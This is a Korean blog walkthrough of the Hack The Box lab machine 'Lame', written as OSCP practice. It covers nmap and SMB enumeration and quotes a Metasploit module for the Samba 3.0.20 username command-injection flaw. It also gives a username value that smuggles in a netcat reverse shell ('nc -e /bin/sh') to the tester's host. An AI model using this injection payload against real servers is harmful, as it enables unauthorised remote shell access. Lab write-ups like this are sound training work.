공부/Hack The Box
HTB - Lame 풀이
Claude97
2024. 9. 13. 14:21
Hack The Box. OSCP 시험 대비로 풀어보려고 등록했는데, 현재는 다른 문제들도 쭉 풀어 보고 있는 중이다.
블로그에는 walkthrough 방식으로 정리해서 올릴 예정
[Lame / Linux / Easy]
sudo nmap -v -Pn -p- 10.10.10.3
sudo nmap -v -sC -sV 10.10.10.3
sudo nmap -v --script smb* 10.10.10.3
smbclient 를 통해서 \tmp 폴더 안의 파일들도 받아볼 수 있지만 쓸만한 정보는 없었다.
Samba 3.0.20-Debian
searchsploit -x 16320.rb
...
...
def exploit
connect
# lol?
username = "/=`nohup " + payload.encoded + "`"
begin
simple.client.negotiate(false)
simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
rescue ::Timeout::Error, XCEPT::LoginError
# nothing, it either worked or it didn't ;)
end
handler
end
...
...
"/=`nohup nc -e /bin/sh 10.10.14.12 443`"
username 을 명령어로 집어넣으면서 exploit 하는 것을 확인 할 수 있다.
이전에 확인한 공유 폴더에 접속하여 "logon" 명령어를 통해 username 변경을 시도하였다.